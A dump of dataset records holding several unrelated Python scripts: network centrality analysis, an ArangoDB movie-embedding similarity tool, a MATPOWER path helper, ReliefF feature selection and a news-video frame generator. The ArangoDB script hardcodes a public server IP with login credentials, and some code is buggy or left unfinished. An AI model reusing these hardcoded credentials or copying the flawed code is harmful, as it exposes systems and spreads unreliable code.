ap.add_argument(\"-i\", \"--input_file\", \n required=False, \n help=\"path to input file\", \n default=\"../data/weighted_edgelist_realnews.csv\")\n # input option for minimum edgeweight, with default of 500\n ap.add_argument(\"-m\", \"--min_edgeweight\", \n required=False, \n help=\"minimum edge weight of interest\", \n default=500, \n type=int)\n # get the input\n args = vars(ap.parse_args())\n \n # save input parameters\n input_file = args[\"input_file\"]\n min_edgeweight = args[\"min_edgeweight\"]\n \n # run network analysis\n Network_Analysis(input_file, min_edgeweight)\n \n \n\n#### BUNDLED UP NETWORK ANALYSIS CLASS ####\n\nclass Network_Analysis:\n \n \n def __init__(self, input_file, min_edgeweight): \n \"\"\"\n Main process of Network analysis: creating output directories, loading data, generating network\n graph and calcualting centrality measures \n - Input: input path to the input csv file of weighted edgelist, minimum edgeweigth of interest\n - Ouput: network graph in viz/ and centrality_measures.csv in output/\n \"\"\"\n \n # start message\n print(\"\\nInitialising network analysis...\")\n \n # get the name of the data\n file_name = os.path.basename(input_file) \n self.data_name = os.path.splitext(file_name)[0] \n \n # create output directories\n self.create_output_directory(\"output\")\n self.create_output_directory(\"viz\")\n \n # load data\n self.weighted_edgelist = pd.read_csv(input_file)\n # define minimum edgeweig\n self.min_edgeweight = min_edgeweight\n \n # create and save network graph \n network_graph = self.network_graph()\n # calculate and save centraliy measures\n centrality_measures = self.centrality_measures(network_graph)\n \n print(\"All done, network graph saved in viz/ and centrality measures in output/!\\n\")\n \n \n def create_output_directory(self, directory_name):\n \"\"\"\n Creatig output directory in the current directory, if it does not exist\n Input: name of the directory\n \"\"\"\n if not os.path.exists(directory_name):\n os.mkdir(directory_name)\n \n \n def network_graph(self):\n \"\"\"\n Creating a network graph and saving it as a png file\n Input: list of all paris and their weight \n Output: network figure saved in viz directory, and returned to be used for centrality measures\n \"\"\"\n # filter based on minimum edge weight\n filtered_edges_df = self.weighted_edgelist[self.weighted_edgelist[\"weight\"] > self.min_edgeweight]\n \n # draw graph with the filtered edgelist\n graph = nx.from_pandas_edgelist(filtered_edges_df, \"nodeA\", \"nodeB\", [\"weight\"])\n \n # defining layout as spring layout, with increased distance between nodes\n spring_layout = nx.spring_layout(graph, k=math.sqrt(graph.order()))\n # drawing nodes, edges and labels\n nx.draw_networkx_nodes(graph, spring_layout, node_size=10, node_color=\"steelblue\", alpha=0.7)\n nx.draw_networkx_edges(graph, spring_layout, width=0.5, alpha=0.3)\n nx.draw_networkx_labels(graph, spring_layout, font_size=5, verticalalignment=\"bottom\")\n \n # save the plot\n plt.savefig(f\"viz/network_{self.data_name}_{self.min_edgeweight}.png\", dpi=300, bbox_inches=\"tight\")\n return graph\n \n \n def centrality_measures(self, network_graph):\n \"\"\"\n Calculatinng the betweenness and eigenvector values for each edge and saving them in a dataframe\n Input: network graph\n Output: dataframe saved as csv file in output directory\n \"\"\"\n # calcualte the three relevant metrics\n nodes = nx.nodes(network_graph)\n degree_metric = nx.degree_centrality(network_graph)\n betweenness_metric = nx.betweenness_centrality(network_graph)\n eigenvector_metric = nx.eigenvector_centrality(network_graph)\n # saving the three metrics in a dataframe\n centrality_df = pd.DataFrame({\n 'degree':pd.Series(degree_metric),\n 'betweenness':pd.Series(betweenness_metric),\n 'eigenvector':pd.Series(eigenvector_metric),\n }).sort_values(['degree', 'betweenness', 'eigenvector'], ascending=False)\n # saving the csv file\n centrality_df.to_csv(f\"output/centrality_measures_{self.data_name}_{self.min_edgeweight}.csv\")\n \n \n#### DEFAULT BEHAVIOUR ####\n \n# in script is called from the command line, exectute main\nif __name__ == \"__main__\":\n main()","sub_path":"assignments/4-network/network_nd.py","file_name":"network_nd.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"513455348","text":"from arango import ArangoClient\nfrom numpy.core.numeric import correlate\nfrom scipy.spatial import distance\nfrom scipy.stats import entropy\nimport sys\nfrom gensim.models.doc2vec import Doc2Vec\nfrom gensim import similarities\nfrom simpleneighbors import SimpleNeighbors\n\ndef connect_db(dbname):\n #client = ArangoClient(hosts='http://ec2-18-219-43-150.us-east-2.compute.amazonaws.com:8529')\n client = ArangoClient(hosts='http://18.159.140.240:8529')\n db = client.db(dbname, username='nebula', password='nebula')\n return (db)\n\ndef get_embeddings_from_db(db, algo=None):\n if algo:\n query = 'FOR doc IN Embedding FILTER doc.algo == @algo RETURN doc'\n bind_vars = {'algo': algo}\n embeddings = {}\n cursor = db.aql.execute(\n query,\n bind_vars=bind_vars\n )\n else:\n query = 'FOR doc IN Embedding RETURN doc'\n embeddings = {}\n cursor = db.aql.execute(\n query\n )\n\n for data in cursor:\n #print(data)\n embeddings[data['actor_id']]=data\n return(embeddings)\n\ndef get_requested_movie(db, movie_id, algo):\n query = 'FOR doc IN Embedding FILTER doc.movie_id == @movie_id AND doc.algo == @algo RETURN doc'\n bind_vars = {'movie_id': movie_id, 'algo': algo}\n embeddings = {}\n cursor = db.aql.execute(\n query,\n bind_vars=bind_vars\n )\n for data in cursor:\n embeddings[data['movie_id']]=data\n return(list(embeddings.values()))\n\ndef nebula_check_distance(embeddings, f_vec, algo):\n count = 0 \n correlations = []\n model = Doc2Vec.load(\"model.dat\")\n similarities.Similarity\n # test_text = ['person1', 'carry/hold (an object)', 'stand', 'sit', 'wearing', 'glass', 'holding', 'cup', 'holding', 'phone', 'wearing', 'jacket', 'wearing', 'tie', 'With()', 'glasses', \n # 'tableware', 'Then', 'person2', 'carry/hold (an object)', \n # 'sit', 'stand', 'walk', 'talk to (e.g., self, a person, a group)', 'wearing', 'jacket', 'wearing', 'glass', 'wearing', 'tie', \n # 'wearing', 'shoe', 'wearing', 'glove', 'holding', 'phone', 'With', 'glasses', 'With', 'tie', 'With()', 'outerwear']\n test_text = f_vec[0]['story'][0]\n #print(test_text)\n #s_vec = model.infer_vector(test_text)\n for _vec in embeddings.values():\n movie_int_id = _vec['movie_id'].split(\"/\")\n #print(int(movie_int_id[1]))\n cor = distance.correlation(_vec['embeddings'], f_vec[0]['embeddings'])\n cos = distance.cityblock(_vec['embeddings'], f_vec[0]['embeddings'])\n #cos1 = distance.correlation (_vec['embeddings'],s_vec)\n\n correlations.append([_vec['actor_id'], _vec['actor_name'], \n _vec['movie_id'], _vec['movie_name'],cor, cos])\n count = count + 1\n sorted_correlations = sorted(correlations, key=lambda corr: corr[4])\n sorted_cosine = sorted(correlations, key=lambda corr: corr[5])\n \n print(\"----------------------\") \n print(\"Top 10 \"+ algo + \" Positive Correlations for Movie: \" + f_vec[0]['movie_id'],\":\",f_vec[0]['movie_name'])\n print(\"----------------------\") \n # print(\"Story is:\")\n # print(test_text) \n for i, corrs in enumerate(sorted_correlations):\n #print(corrs)\n if (corrs[2] != f_vec[0]['movie_id']):\n print(corrs[4], \" \", corrs[2],\" \", corrs[3])\n else:\n i = i - 1 \n if i == 10:\n break\n print(\"----------------------\") \n print(\"Top 10 \"+ algo + \" Positive Cosines for Movie: \" + f_vec[0]['movie_id'],\":\",f_vec[0]['movie_name'])\n print(\"----------------------\") \n # print(\"Story is:\")\n # print(test_text) \n for i, corrs in enumerate(sorted_cosine):\n #print(corrs)\n if (corrs[2] != f_vec[0]['movie_id']):\n print(corrs[5], \" \", corrs[2],\" \", corrs[3])\n else:\n i = i - 1 \n if i == 10:\n break\n \n print(\"=============================DONE with \" + algo + \"============================\")\n print()\n print()\n\ndef main():\n if len(sys.argv) < 3:\n print(\"Usage: \", sys.argv[0], \" db_name, algo , movie_id\")\n exit()\n db_name = sys.argv[1]\n movie_id = sys.argv[3]\n algo = sys.argv[2]\n db = connect_db(db_name)\n if algo == \"NEBULA_DOC\" or algo == \"NEBULA_WORD\":\n f_vec = get_requested_movie(db, movie_id, algo)\n embeddings = get_embeddings_from_db(db, algo) \n nebula_check_distance(embeddings, f_vec, algo)\n if algo == \"NEBULA_INDEX\":\n num_index_trees = 512\n embedding_dimensions = 100\n single_index = SimpleNeighbors(embedding_dimensions)\n for _algo in [\"NEBULA_DOC\"]:\n embeddings = get_embeddings_from_db(db, _algo)\n for embedding in embeddings.values():\n movie = embedding['movie_id'] \n #_algo = embedding['algo']\n vec = embedding['embeddings']\n #print(movie, _algo)\n #annotated_sentence = '({}) {}'.format(language_name, language_to_sentences[language_code][i])\n single_index.add_one(movie + \"_\" + _algo, vec)\n print(\"Index for: \" + _algo + \" is added\" + \" index size: \", len(embeddings))\n \n if algo == \"NEBULA_MIX\":\n num_index_trees = 512\n embedding_dimensions = 100\n mix_index = SimpleNeighbors(embedding_dimensions * 2)\n doc_embeddings = get_embeddings_from_db(db, \"NEBULA_DOC\")\n #kmeans_clusters(doc_embeddings)\n word_embeddings = get_embeddings_from_db(db, \"NEBULA_WORD\")\n #kmeans_clusters(word_embeddings)\n for doc, word in zip(doc_embeddings.values(), word_embeddings.values()):\n #print(doc)\n #print(word)\n movie = doc['movie_id'] \n #_algo = embedding['algo']\n vec = []\n for d,w in zip(doc['embeddings'], word['embeddings']):\n vec.append(d)\n vec.append(w)\n #vec = doc['embeddings'] + word['embeddings']\n mix_index.add_one(movie, vec)\n print(\"Mixed Index is added, index size: \", str(len(word_embeddings)) + \" \" + str(len(doc_embeddings)))\n\n if algo == \"NEBULA_INDEX\":\n print('Building multi-algo index with {} trees...'.format(num_index_trees))\n single_index.build(n=num_index_trees) \n single_index.save(\"nebula_index_single\")\n for _algo in [\"NEBULA_DOC\"]: \n _key = movie_id + \"_\" + _algo\n sims = single_index.neighbors(_key, n=20)\n print(\"----------------------\") \n print(\"Top 20 \"+ _algo + \" Positive Cosines for Movie: \" + movie_id)\n #print(nb)\n for sim in sims:\n print(sim.split(\"_\"+_algo)[0])\n print(\"----------------------\")\n while (True):\n mv = input(\"Enter movie id: \")\n #al = input(\"Enter algo : \")\n for _algo in [\"NEBULA_DOC\"]: \n _key = mv + \"_\" + _algo\n sims = single_index.neighbors(_key, n=20)\n print(\"----------------------\") \n print(\"Top 10 \"+ _algo + \" Positive Cosines for Movie: \" + mv)\n for sim in sims:\n print(sim.split(\"_\"+_algo)[0])\n #print(sim)\n print(\"----------------------\") \n\n if algo == \"NEBULA_MIX\":\n print('Building mixed-algo index with {} trees...'.format(num_index_trees))\n mix_index.build(n=num_index_trees) \n mix_index.save(\"nebula_index_mix_\") \n _key = movie_id\n sims = mix_index.neighbors(_key, n=20)\n print(\"----------------------\") \n print(\"Top 20 MIX\" + \" Positive Cosines for Movie: \" + movie_id)\n #print(nb)\n for sim in sims:\n print(sim)\n print(\"----------------------\")\n while (True):\n mv = input(\"Enter movie id: \")\n #al = input(\"Enter algo : \") \n _key = mv\n sims = mix_index.neighbors(_key, n=20)\n print(\"----------------------\") \n print(\"Top 20 MIX Positive Cosines for Movie: \" + mv)\n for sim in sims:\n print(sim)\n print(\"----------------------\")\n\nif __name__ == '__main__':\n main()","sub_path":"nebula_person_similarity.py","file_name":"nebula_person_similarity.py","file_ext":"py","file_size_in_byte":8355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"385643666","text":"from oct2py import Oct2Py\nimport os\n\ndef oc_addgenpath(path,oc=None):\n if oc == None:\n oc = Oct2Py()\n oc.addpath(oc.genpath(path))\n return oc\n\ndef oc_addpath(path,oc=None):\n if oc == None:\n oc = Oct2Py()\n oc.addpath(path)\n return oc\n\ndef oc_matpower(path_matpower='matpower',oc=None):\n if path_matpower == 'matpower':\n if os.path.isdir(os.path.join(os.path.dirname(__file__ ),path_matpower)):\n path_matpower = os.path.join(os.path.dirname(__file__ ),path_matpower)\n else:\n raise ValueError(\"\"\"NO MATPOWER PATH FOUND!\nPLEASE USE:\n oc = oc_matpower(path_matpower='/PATH/matpower')\n\nALTERNATIVELY, PLACE MATPOWER IN myPower PACKAGE. \nNAME THE FOLDER WITH 'matpower'. RESULT WILL BE:\n ...\\\\mypower\\\\api.py\n ...\n ...\\\\mypower\\\\matpower << here (whithout making new matpower folder)\n ...\\\\mypower\\\\matpower\\\\data\n ...\\\\mypower\\\\matpower\\\\lib\"\"\")\n if oc == None:\n oc = Oct2Py()\n oc.addpath(oc.genpath(path_matpower))\n return oc","sub_path":"mypower/oc_api.py","file_name":"oc_api.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"30969217","text":"#14\r\na = [int(s) for s in input().split()]\r\nsumm = 0\r\ni = 0\r\nj = 1 \r\nfor i in range(len(a)):\r\n for j in range(i+1,len(a)):\r\n if a[i] == a[j]:\r\n summ = summ + 1\r\n\r\nprint(summ)\r\n \r\n","sub_path":"LLPY14.py","file_name":"LLPY14.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"98579041","text":"import pandas as pd\nfrom sklearn.cluster import KMeans\nfrom sklearn.externals import joblib\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\n#from matplotlib.colors import cnames\nimport random #import seaborn as sns\n#colors=[u'blue',u'yellow',u'red',u'green',u'cyan',u'magenta',u'black']#colors.extend(filter(lambda x :len(x)<7 and x not in colors,cnames.keys())) # 设置不同颜色集合\ndef RandomSampling(dataMat,number): #无放回随机抽样\n try:\n slice = random.sample(dataMat, number)\n return slice\n except:\n print('sample larger than population')\n\ndef RepetitionRandomSampling(dataMat,number):\t# 有放回随机抽样\n sample=[]\n for i in range(number):\n sample.append(dataMat[random.randint(0,len(dataMat)-1)])\n return sample\ndef SystematicSampling(dataMat,number):\t#系统抽样无放回\n length=len(dataMat)\n k=length/number\n sample=[]\n i=0\n if k>0 :\n while len(sample)!=number:\n sample.append(dataMat[0+i*k])\n i+=1\n return sample\n else :\n return RandomSampling(dataMat,number)\n\ndef ReliefF(X,y,N=20,K=6,M=40): #X,y(必须是分类或者类别变量),N #执行次数 K=6 #最近的k个样本 M=40 抽样次数\n rows,cols=X.shape\n rows=rows*1.0 # mylabel=y #类别变量,因变量y\n plt.figure()\n Amax_min_diff=X.max(axis=0)-X.min(axis=0)\n dislabels=np.unique(y) #list(pd.unique(mylabel)) # np.unique(mylabel)\n classSet={}\n labNumDict=pd.DataFrame(y,columns=['labels']).groupby(by='labels')['labels'].agg({u\"nums\":np.size}).to_dict()['nums']\n WA=[]\n for i in dislabels:\n classSet[i]=np.array(pd.unique(X[np.where(y==i)[0],:]).tolist())\n for lp in range(N):\n w=np.zeros(shape=(cols)) #[0]*(cols-1)\n for l in range(M):\n Rset=RandomSampling(X,1)[0] #随机抽样\n Rtype=Rset[cols-1] #抽出的样本类别\n Rdata=np.array(Rset[0:cols-1].tolist()) #样本数据\n for i in dislabels:\n Dsub=classSet[i]\n TopK=pd.DataFrame(((Dsub-Rdata)**2).sum(axis=1),columns=['sumSquare']).sort_values(by='sumSquare').head(K).index.tolist()\n if i==Rtype:\n w=w-np.array((np.abs((Dsub[TopK]-Rdata))/Amax_min_diff).tolist()).sum(axis=0)\n else :\n pc=(labNumDict[i]/rows)/(1-(labNumDict[Rtype]/rows))\n w=w+pc*np.array((np.abs((Dsub[TopK]-Rdata))/Amax_min_diff).tolist()).sum(axis=0)\n w=list(w/(K*M))\n plt.plot(w)\n WA.append(w)\n WA=np.array(WA)\n pd.DataFrame(WA).to_csv('c:/temp.csv')\n rs = pd.DataFrame(WA.mean(axis=0), columns=['weight']).sort_values(by='weight',ascending=False)\n rs=rs[rs['weight']>-1]\n print(rs)\n plt.show()\n ranklist=list(rs.index)\n return ranklist #结果按权值从小到大排序\nif __name__ == '__main__':\n data=pd.read_csv('D:\\model_data\\creditcard.csv')\n data.rename(columns={'Class':'Target'}, inplace = True)#设立目标变量 因变量\n #desc=dataDesc(std_data) #数据初步探索\n y=np.array(data['Target'])\n x_df=data.drop(['Target'],axis=1)\n feature_names=list(x_df.columns)\n X=StandardScaler().fit_transform(X=x_df,y=y)\n#mydata=pd.read_csv('d:/breast-cancer-wisconsin.data',header=None,sep=',',na_values='?')\n#mydata.columns=[u'id',u'块厚度',u'细胞大小均匀性',u'细胞形态均匀性',u'粘附力',u'细胞尺寸',u'裸核',u'Bland',u'正常核仁',u'核分裂',u'分类']\n#mydata[6]=mydata[6].astype(float).fillna(mydata[6].mean())# 只有在column名字为纯数值的情况下可用\n#mydata[10]= mydata[10].apply(lambda x:x==2 and 'x1' or 'x2')\n#mymat=np.array(mydata.iloc[:,1:11]) #自变量数组\n#rows,cols=mymat.shape\n#RankList=ReliefF(mymat) ##结果按权值从小到大排序\n#labNumDict=pd.DataFrame((mymat[:,cols-1]),columns=['labels']).groupby(by='labels')['labels'].agg({u\"nums\":np.size}).to_dict()['nums']\n\n\n\n\n","sub_path":"model/feature/Relief.py","file_name":"Relief.py","file_ext":"py","file_size_in_byte":4010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"67763262","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 23 14:36:50 2020\n\n@author: dr_d3mz\n\"\"\"\n\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom PIL import Image, ImageFont, ImageDraw\nimport cv2\nimport video_engine_funcs as vid\nimport keypoint_transition_funcs as kptf\nimport time\nimport numpy as np\nfrom cv2 import VideoWriter, VideoWriter_fourcc\nimport skvideo.io\n\n\"\"\"\nInitialise key variables\n\"\"\"\n\nvideo_height = 1080\nvideo_width = 854\nvideo_output_path = '/Users/dr_d3mz/Documents/GitHub/CV Course/test.mp4'\nfinal_video_path = '/Users/dr_d3mz/Documents/GitHub/CV Course/test_w_music.avi'\naudio_input_path = '/Users/dr_d3mz/Documents/GitHub/CV Course/music/bensounds-creativeminds.mp3'\nimage_path = '/Users/dr_d3mz/Documents/GitHub/CV Course/Trump.jpg'\nkeypoint_image_path = '/Users/dr_d3mz/Documents/GitHub/CV Course/shutterstock_138983681.jpg'\nfont_path = '/Users/dr_d3mz/Documents/GitHub/CV Course/fonts/Newspaper.ttf'\nlogo_path = '/Users/dr_d3mz/Documents/GitHub/CV Course/logo.png'\npadding_message = 'Bloverse Coming Soon'\n\nFPS = 60\n\nframes_list = []\n\n\"\"\"\nStep 1 - Create functionality that resizes any input image to the optimal instagram video format (h=1080 x w=864)\n\"\"\"\nstart = time.time()\nresized_img = vid.resize_image_and_add_bottom_message(video_height, video_width, image_path, font_path, padding_message)\n#plt.imshow(resized_img)\n\n\n\"\"\"\nStep 2 - Create functionality to allow you input static frames into the video\n\"\"\"\n# Create static resized image frames to hold it in place for a little while\nseconds = 1\nstatic_resized_image_frames = vid.create_static_frames(FPS, seconds, resized_img)\nframes_list += static_resized_image_frames\n\n\n\"\"\"\nStep 3 - Create functionality that adds a white box to the image, and pushes existing pixels downwards\n\"\"\"\n## Build function to create the transition effect of a white box emerging on the image and pushing it downwards\nseconds = 2\n\n# Generate the headline transition frames\nheadline_transition_frames = vid.create_headline_transition(FPS, seconds, resized_img)\nframes_list += headline_transition_frames\n\nseconds = 1\nframe = headline_transition_frames[-1]\n\n# Hold final transition frame for a little while\nstatic_headline_transition_frames = vid.create_static_frames(FPS, seconds, frame)\nframes_list += static_headline_transition_frames\n\n\n\"\"\"\nStep 4 - Create functionality that adds a the bloverse logo to the top right-hand corner of the image\n\"\"\"\nheadline_frame_img = headline_transition_frames[-1]\nseconds = 1\n\nlogo_transition_frames = vid.create_logo_transitions(FPS,headline_frame_img, logo_path, seconds)\nframes_list += logo_transition_frames\n\n\n\"\"\"\nStep 5 - Create functionality for the headline text to gradually start getting added to the image frame\n\"\"\"\n\n# Build algo that detects which line each word is going to\ntext_type = 'Headline'\nheadline = ' Trump releases long-awaited Middle-East peace plan'\n\nheadline_text_frames = vid.create_headline_transitions(headline, text_type, logo_transition_frames, font_path, FPS)\n\nplt.imshow(headline_text_frames[-1])\n\n\nframes_list += headline_text_frames\n\n# Hold final headline frame for a little while\nseconds = 2\nframe = headline_text_frames[-1].copy()\nplt.imshow(frame)\n\nstatic_headline_text_transition_frames = vid.create_static_frames(FPS, seconds, frame)\nframes_list += static_headline_text_transition_frames\n\n\n\"\"\"\nStep 6 - Create keypoints image template\n\"\"\"\nkeypoints_template_frame_list = []\n\n# Import image template\nkeypoints_img = kptf.generate_keypoint_template(keypoint_image_path, video_width, video_height, font_path)\n#print(type(keypoints_img))\nplt.imshow(keypoints_img)\n\nstatic_keypoint_transition_frames = vid.create_static_frames(FPS, 1, keypoints_img)\nframes_list += keypoints_template_frame_list\n\nkeypoints_template_frame_list += static_keypoint_transition_frames\n\nframes_list += keypoints_template_frame_list\n\n\n \n\"\"\"\nStep 7 - Create functionality for the keypoints text to gradually start getting added to the image frame\n\"\"\"\n# Keypoint 1\nkeypoint_text1 = 'He proposed an independent Palestinian state and the recognition of Israeli sovereignty over West Bank settlements.'\nkey_points_frame_list = kptf.generate_keypoint_transition_frames(keypoints_img, keypoint_text1, keypoint_image_path, video_width, video_height,font_path, FPS)\nframes_list += key_points_frame_list\n\n# Add static keypoint frames inbetween\nstatic_keypoint_transition_frames = vid.create_static_frames(FPS, 1, keypoints_img)\nframes_list += static_keypoint_transition_frames\n\n# Keypoint 2\nkeypoint_text2 = 'Thousands of Palestinians protested in the Gaza Strip earlier on Tuesday, while the Israeli military deployed reinforcements in the occupied West Bank. '\nkey_points_frame_list = kptf.generate_keypoint_transition_frames(keypoints_img, keypoint_text2, keypoint_image_path, video_width, video_height,font_path, FPS)\nframes_list += key_points_frame_list\n\n# Add static keypoint frames inbetween\nstatic_keypoint_transition_frames = vid.create_static_frames(FPS, 1, keypoints_img)\nframes_list += static_keypoint_transition_frames\n\n# Keypoint 3\nkeypoint_text3 = 'Israeli officials said Mr Netanyahu would fly to Moscow on Wednesday to discuss the proposals with Russian President Vladimir Putin.'\nkey_points_frame_list = kptf.generate_keypoint_transition_frames(keypoints_img, keypoint_text3, keypoint_image_path, video_width, video_height,font_path, FPS)\nframes_list += key_points_frame_list\n\n\n\"\"\"\nStep 8 - Generate video\n\"\"\"\n# Generate video at this juncture to ensure we have what we're expecting\n# You can also use this for individual transitions to ensure its behaving as expected\nvid.generate_video(frames_list, video_height, video_width, video_output_path, FPS)\n\nend = time.time()\ntime_diff = round((end - start),1)\n\nprint('Time taken to generate video is %s seconds' % time_diff)\n\n\n\n\n\n\n\"\"\"\nBuild function to be able to add a white mask to any image\n\"\"\"\n\nmasked_image = mask_image(image_path)\nplt.imshow(masked_image)\n\nfont = ImageFont.truetype(font_path,500)\n\n\"\"\"\nText transition 1 - starting small and then becoming bigger over time\n\"\"\"\n## Try out an approach where you are gradually increasing the font size\ntest_list = []\nsteps = int(500/10)\nfor i in range(10):\n if i%20 == 0:\n print(i)\n font_size = steps*i\n font = ImageFont.truetype(font_path,font_size)\n temp = masked_image.copy()\n temp = Image.fromarray(temp)\n draw = ImageDraw.Draw(temp)\n draw.text((50,50), 'Hello there Trump', fill='black', font=font)\n #keypoints_img = keypoints_img.convert(\"RGB\")\n temp = cv2.cvtColor(np.uint8(temp), cv2.COLOR_BGR2RGB)\n test_list.append(temp)\n \nvid.generate_video(test_list, masked_image.shape[0], masked_image.shape[1], video_output_path, FPS)\n\n\n\"\"\"\nText transition 2 - text appears gradually starting from the last string\n\"\"\"\n# Build functionality that loops through a string and returns a list of the strings in reverse gradually\ndef generate_backward_text_permeations(text):\n \"\"\"\n This function takes any string and then returns a list of string that gradually spell\n out the original string starting from the last character\n \"\"\"\n output_list = []\n \n loops = len(text)+2\n for i in range(loops):\n val = -i+1\n if val < 0:\n string = ex_str[-i+1:]\n output_list.append(string)\n \n return output_list\n\n\nex_str = 'This is the beginning of the end'\nbackward_list = generate_backward_text_permeations(ex_str)\nprint(len(backward_list))\n\nfont = ImageFont.truetype(font_path,200)\n## Try out an approach where you are gradually increasing the font size\ntest_list = []\n\npadded_frames = create_static_frames(FPS, 1, masked_image)\ntest_list += padded_frames\n\n\nsteps = int(500/10)\nt = 0\nfor i in range(len(backward_list)*2):\n if i%2 == 0 and i>0:\n t += 1\n try:\n temp = masked_image.copy()\n temp = Image.fromarray(temp)\n draw = ImageDraw.Draw(temp)\n draw.text((50,50), backward_list[t], fill='black', font=font)\n #keypoints_img = keypoints_img.convert(\"RGB\")\n temp = cv2.cvtColor(np.uint8(temp), cv2.COLOR_BGR2RGB)\n test_list.append(temp)\n except:\n print(i)\n print(t)\n\npadded_frames = create_static_frames(FPS, 2, temp)\ntest_list += padded_frames \n\nvid.generate_video(test_list, masked_image.shape[0], masked_image.shape[1], video_output_path, FPS)\n\n\n\"\"\"\nText transition 3 - text appears gradually starting from the last word\n\"\"\"\n# Build functionality that loops through a string and returns a list of the strings in reverse gradually\ndef generate_backward_text_permeations_by_word(text):\n \"\"\"\n This function takes any string and then returns a list of string that gradually spell\n out the original string starting from the last character\n \"\"\"\n output_list = []\n \n words = text.split()\n print(words)\n loops = len(words)+2\n for i in range(loops):\n val = -i+1\n if val < 0:\n string = ' '.join(words[-i+1:])\n print(string)\n output_list.append(string)\n \n return output_list\n\n\nex_str = 'This is the beginning of the end'\nbackward_list = generate_backward_text_permeations_by_word(ex_str)\nprint(len(backward_list))\n\nfont = ImageFont.truetype(font_path,200)\n## Try out an approach where you are gradually increasing the font size\ntest_list = []\n\npadded_frames = create_static_frames(FPS, 1, masked_image)\ntest_list += padded_frames\n\n\nt = 0\nfor i in range(50):\n if i%5 == 0 and i>0:\n t += 1\n try:\n temp = masked_image.copy()\n temp = Image.fromarray(temp)\n draw = ImageDraw.Draw(temp)\n draw.text((50,50), backward_list[t], fill='black', font=font)\n #keypoints_img = keypoints_img.convert(\"RGB\")\n temp = cv2.cvtColor(np.uint8(temp), cv2.COLOR_BGR2RGB)\n test_list.append(temp)\n except:\n print(i)\n print(t)\n\npadded_frames = create_static_frames(FPS, 2, temp)\ntest_list += padded_frames \n\nvid.generate_video(test_list, masked_image.shape[0], masked_image.shape[1], video_output_path, FPS)\n \n\"\"\"\nText transition 4 - full text appears at the bottom and then gradually starts moving upwards\n\"\"\" \npadded_frames = create_static_frames(FPS, 1, masked_image)\ntest_list += padded_frames\n\n\nnum_frames = 50 # this is the standard number that you use for all frames until further notice... they should also be influenced\n # by the length of the voice clip for that particular transition\nmasked_image = mask_image(image_path)\n\nfinal_height = 500 # the final location of the text line\nx_offset = 50\ny_steps = 3 # the steps in an upward direction that happens with each frame\ntext_string = 'Testing out the transitions functionality'\nfont = ImageFont.truetype(font_path,200)\n\ndef generate_text_line_frames_w_alpha_effect_1b1(num_frames, frame_image, final_height, x_offset, y_steps, text_string, font):\n \n \"\"\"\n In this transition effect, the text line starts from the bottom and moves upwards whilst also evolving\n from being transparent to opaque. In this iteration, each individual \n \"\"\"\n \n text_frames = [] \n \n # Calculate the start location of the text line\n start_height = final_height + (y_steps * num_frames)\n \n # calculate how many jumps are being made in the alpha channel for each frame\n alpha_steps = int(255/num_frames)\n #print(steps)\n \n for i in range(num_frames):\n \n temp = frame_image.copy()\n alpha = Image.new('RGBA', (temp.shape[1], temp.shape[0]), (255,255,255,0))\n temp = Image.fromarray(temp).convert(\"RGBA\")\n draw = ImageDraw.Draw(alpha)\n draw.text((50,int(start_height-(i*y_steps))), text_string, fill=(0,0,0,i*alpha_steps), font=font) # Gradually increases the opacity of the text to create a fade-in effect\n new_image = Image.alpha_composite(temp, alpha) \n new_image = new_image.convert(\"RGB\")\n new_image = cv2.cvtColor(np.uint8(new_image), cv2.COLOR_BGR2RGB)\n text_frames.append(new_image)\n \n return text_frames\n\n\n\n\n\n\n\n\n\n\n\n\n\n\npadded_frames = create_static_frames(FPS, 2, new_image)\ntest_list += padded_frames \n\nvid.generate_video(test_list, masked_image.shape[0], masked_image.shape[1], video_output_path, FPS)\n\n\n\n\nimage = masked_image.copy()\ntxt = Image.new('RGBA', (image.shape[1], image.shape[0]), (255,255,255,0))\nimage = Image.fromarray(image).convert(\"RGBA\")\n\nd = ImageDraw.Draw(txt) \n\nd.text((0, 0), \"This text should be 5% alpha\", fill=(0, 0, 0, 15), font=font)\ncombined = Image.alpha_composite(image, txt) \nplt.imshow(combined)\n\n\n\n\n\"\"\"\nCreate panning left or right animation - come and build up further on this later by adding text transitions to it\n\"\"\"\n\nframe_steps = 2 # this depicts how quickly the transition happens, should be a number between 1 and 4\n\nkeypoint_panning_frames = vid.generate_image_transition_frames(image_path, video_height, video_width, FPS, frame_steps)\n\n\nvid.generate_video(keypoint_panning_frames, video_height, video_width, video_output_path, FPS)\n# Generate a \n\n\n\n\n\n\n\n\n\n\n\n\n\n#\"\"\"\n#Add audio to the video file\n#\"\"\"\n#import os\n#os.system(\"ffmpeg -i <'/Users/dr_d3mz/Documents/GitHub/CV Course/music/bensound-creativeminds.mp3'> -i <'/Users/dr_d3mz/Documents/GitHub/CV Course/test.avi'> -async 1 -c copy '/Users/dr_d3mz/Documents/GitHub/CV Course/test_w_music.avi'\")\n#\n#\n#ffmpeg -i /Users/dr_d3mz/Documents/GitHub/CV Course/music/bensound-creativeminds.mp3 -i /Users/dr_d3mz/Documents/GitHub/CV Course/test.avi -async 1 -c copy /Users/dr_d3mz/Documents/GitHub/CV Course/test_w_music.avi\n\n\"\"\"\nEnd here\n\"\"\"\n\n\n\n\n\"\"\"\nTry to create transparent text effects\n\"\"\"\nimage = masked_image.copy()\nprint(image.shape[0])\nprint(image.shape[1])\ntxt = Image.new('RGBA', (image.shape[1], image.shape[0]), (255,255,255,0))\nplt.imshow(image)\nplt.imshow(txt)\n\nimage = Image.fromarray(image).convert(\"RGBA\")\ndraw = ImageDraw.Draw(temp)\ndraw.text((50,50), backward_list[t], fill='black', font=font)\n \n\nd = 